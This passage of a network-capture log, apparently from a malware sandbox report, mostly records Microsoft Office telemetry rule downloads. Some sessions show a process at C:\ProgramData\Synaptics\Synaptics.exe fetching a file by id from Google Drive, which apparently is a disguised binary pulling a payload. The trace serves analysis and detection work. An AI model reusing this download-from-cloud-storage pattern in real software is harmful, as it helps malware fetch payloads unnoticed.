2024-11-05 21:44:28 UTC	1378	IN	Data Raw: 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 55 75 6d 66 55 56 74 42 34 44 57 42 52 4e 36 31 35 5f 33 33 38 51 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 Data Ascii: "><title>Error 404 (Not Found)!!1</title><style nonce="UumfUVtB4DWBRN615_338Q">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;mi
2024-11-05 21:44:28 UTC	149	IN	Data Raw: 69 6d 67 3e 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 70 3e 3c 62 3e 34 30 34 2e 3c 2f 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: img></span></a><p><b>404.</b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.5	49900	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:28 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 21:44:28 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 21:44:28 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 00acd572-101e-0065-6358-2e4088000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T214428Z-17df447cdb5zfhrmhC1DFWh33000000001z0000000000519 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 21:44:28 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.5	49901	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:28 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 21:44:28 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 21:44:28 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: d30de13e-b01e-003e-435c-2e8e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T214428Z-17df447cdb5tcj54hC1DFW3yew000000022g000000000y5z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 21:44:28 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.5	49903	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:28 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 21:44:28 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 21:44:28 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 162cf1ac-401e-002a-0c09-2dc62e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T214428Z-16547b76f7f9bs6dhC1DFWt3rg00000005s00000000067tm x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 21:44:28 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.5	49902	142.250.186.65	443	432	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:28 UTC	383	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.5	49904	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:28 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 21:44:28 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 21:44:28 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 6dc34679-101e-0034-7d01-2d96ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T214428Z-16547b76f7f9rdn9hC1DFWfk7s00000005n000000000qxzc x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 21:44:28 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.5	49905	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:28 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 21:44:28 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 21:44:28 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: 2f2a95d3-901e-00ac-5b08-2cb69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T214428Z-16547b76f7fdf69shC1DFWcpd000000005h000000000vgr8 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 21:44:28 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
138	192.168.2.5	49899	172.217.23.110	443	432	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:28 UTC	340	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=518=DwAin6pYmnRWe_v7rUP4M1SBl_g9os_JYdmxiVzJ4AAUpXz_ISeazz6hImO1ECLh1-DCp51tOITR0NLD-tpoIvszsQoM-y1LxedFZ2i_w21gkRU-e_hQDTuWZIlo0xLwHpbcjrm9i8llcdDK93rICzE7TrwffgZGcC7JBl-O1pGbs4yWnKQ

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.5	49908	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:29 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 21:44:29 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 21:44:29 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 5df09d77-001e-00a2-0c15-2dd4d5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T214429Z-16547b76f7f9rdn9hC1DFWfk7s00000005r000000000azt2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 21:44:29 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.5	49910	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:29 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 21:44:29 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 21:44:29 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: bf74e669-f01e-001f-5b5f-2e5dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T214429Z-15869dbbcc6rzfwxhC1DFWrkb000000000qg00000000u224 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-05 21:44:29 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.5	49913	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:29 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 21:44:29 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 21:44:29 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: 392771d5-701e-000d-1cd2-2c6de3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T214429Z-16547b76f7fq9mcrhC1DFWq15w00000005p000000000kdkz x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 21:44:29 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.5	49911	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:29 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 21:44:29 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 21:44:29 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 540c9187-b01e-0084-6537-2fd736000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T214429Z-15869dbbcc662ldwhC1DFW3ytc00000000m000000000vcfu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 21:44:29 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.5	49909	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-05 21:44:29 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-05 21:44:29 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 05 Nov 2024 21:44:29 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: a822020c-901e-005b-1ae1-2e2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241105T214429Z-17df447cdb56j5xmhC1DFWn91800000001tg00000000xzvd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-05 21:44:29 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.5	49906	172.217.23.110	443	432	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
